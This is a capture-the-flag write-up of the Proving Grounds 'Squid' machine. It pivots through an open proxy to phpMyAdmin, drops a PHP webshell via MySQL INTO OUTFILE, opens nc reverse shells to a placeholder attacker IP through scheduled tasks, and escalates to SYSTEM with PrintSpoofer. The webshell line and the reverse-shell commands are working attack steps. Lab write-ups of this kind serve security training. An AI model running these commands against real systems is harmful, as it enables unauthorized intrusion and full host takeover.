Squid Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
Squid only exposes an open HTTP proxy, which is enough to reach a phpMyAdmin instance bound to loopback behind it. Default root credentials and MySQL's INTO OUTFILE write a PHP webshell straight into the proxied web root for a foothold as LOCAL SERVICE. That account starts with a stripped privilege set, but recreating it through a scheduled task restores SeImpersonatePrivilege, which PrintSpoofer turns into a SYSTEM shell.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE VERSION 3128/tcp open http-proxy Squid http proxy 4.14 |_http-title: ERROR: The requested URL could not be retrieved | http-open-proxy: Potentially OPEN proxy. |_Methods supported: GET HEAD |_http-server-header: squid/4.14 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Only an open Squid proxy is reachable directly. Since it will forward requests, use it to probe the target's own loopback interface for services that aren't otherwise exposed. spose does exactly this by asking the proxy itself to connect to 127.0.0.1 on a range of ports.
Enumerating ports behind the proxy
127.0.0.1 3306 seems OPEN 127.0.0.1 8080 seems OPEN
Port 8080 looks like a web server and 3306 is MySQL, both bound only to loopback on the target. Point a proxy-aware client at http://127.0.0.1:8080 through the Squid proxy.
Exploitation
phpMyAdmin default credentials
A WAMP dashboard appears with a link to phpMyAdmin, which accepts the MySQL default: root with no password.
Webshell via INTO OUTFILE
With a SQL console, abuse MySQL's file-write privilege to drop a one-line PHP webshell directly into the proxied web root.
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/wamp/www/shell.php';nt authority\local service
Code execution confirmed as LOCAL SERVICE. Pull nc.exe through the webshell and use it to get an interactive session.
Serving HTTP on 0.0.0.0 port 80 ... $TARGET_IP - - "GET /nc.exe HTTP/1.1" 200 -
Ncat: Connection from $TARGET_IP. Windows PowerShell PS C:\wamp\www>
Interactive shell as LOCAL SERVICE.
Privilege Escalation
Recovering default service privileges
This session is missing most of the privileges a LOCAL SERVICE account normally gets.
PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
A process spawned by the Task Scheduler Service inherits the full default privilege set for its account, so creating any scheduled task and running it recovers most of what is missing.
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe $ATTACKER_IP $ATTACKER_PORT -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantPerm"
Start-ScheduledTask -TaskName "GrantPerm"Ncat: Connection from $TARGET_IP. C:\Windows\system32>whoami /priv Privilege Name Description State ============================= ================================== ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled SeTimeZonePrivilege Change the time zone Disabled
Better, but SeImpersonatePrivilege is still absent because it isn't part of the default token this way. A scheduled task can request it explicitly through a ScheduledTaskPrincipal with a custom RequiredPrivilege list.
[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe $ATTACKER_IP $ATTACKER_PORT -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "GrantAllPerms"Ncat: Connection from $TARGET_IP. C:\Windows\system32>whoami /priv Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled
SeImpersonatePrivilege is enabled now. PrintSpoofer abuses it through a fake named pipe to spawn a process as SYSTEM.
PrintSpoofer
[+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK nt authority\system
Confirmed. Spawn an interactive SYSTEM shell in the same console.
[+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK C:\Windows\system32>whoami nt authority\system
Full SYSTEM shell, reached without ever touching a public exploit for the proxy or the database itself.
Related
MySQL File Write and Webshell via INTO OUTFILE
MySQL Anonymous and Default Credential Check
Token Impersonation – SeImpersonatePrivilege Exploitation
Exploits SeImpersonatePrivilege to impersonate high-privilege tokens via named pipes or API abuse, e...
Hot Potato and Rotten Potato – Legacy Token Impersonation
Exploits NBNS spoofing, WPAD abuse & NTLM relay to DCOM for SYSTEM token impersonation via SeImperso...
References
-
SeImpersonatePrivilege abuse tool used for the final SYSTEM shell.
-
Describes how a scheduled task restores a stripped service account's default privileges, the technique behind the privilege recovery step.